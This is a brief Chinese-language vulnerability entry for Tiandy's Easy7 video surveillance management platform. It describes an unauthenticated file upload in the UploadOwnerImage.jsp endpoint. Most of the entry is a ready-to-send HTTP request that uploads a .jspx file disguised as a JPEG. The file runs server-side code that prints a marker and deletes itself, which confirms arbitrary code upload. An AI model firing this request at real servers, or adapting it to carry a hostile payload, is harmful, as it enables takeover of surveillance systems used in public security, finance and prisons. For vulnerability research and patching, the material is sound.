Description
天地伟业Easy7是由天地伟业技术有限公司推出的一款安防视频监控管理平台，提供视频监控设备接入、管理、播放、录像、存储、回放等核心功能，广泛应用于平安城市、智慧交通、金融安防、教育监控、司法监狱等安防场景。该系统支持多种视频设备接入，提供Web管理平台和移动端应用。天地伟业Easy7的 /Easy7/apps/WebService/UploadOwnerImage.jsp 接口存在文件上传漏洞，攻击者可通过构造恶意jspx文件上传到服务器，获取服务器系统权限。
天地伟业Easy7 /Easy7/apps/WebService/UploadOwnerImage.jsp 文件上传漏洞
PoC
POST /Easy7/apps/WebService/UploadOwnerImage.jsp HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=d4c3aadbb6fc4be1a13c465f0e36fcdc
Content-Length: 640
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cache-Control: max-age=0
--d4c3aadbb6fc4be1a13c465f0e36fcdc
Content-Disposition: form-data; name="file"; filename="rfgzbteh.jspx"
Content-Type: images/jpeg
<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.1"><jsp:directive.page language="java" contentType="text/plain; charset=UTF-8" pageEncoding="UTF-8"/><jsp:directive.page import="java.io.File,java.util.UUID"/><jsp:scriptlet>out.print("ijzphqyestmgriutekei");try{String p=application.getRealPath(request.getRequestURI());File f=new File(p);if(f.exists()){f.delete();}}catch(Exception e){}</jsp:scriptlet></jsp:root>
--d4c3aadbb6fc4be1a13c465f0e36fcdc--
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.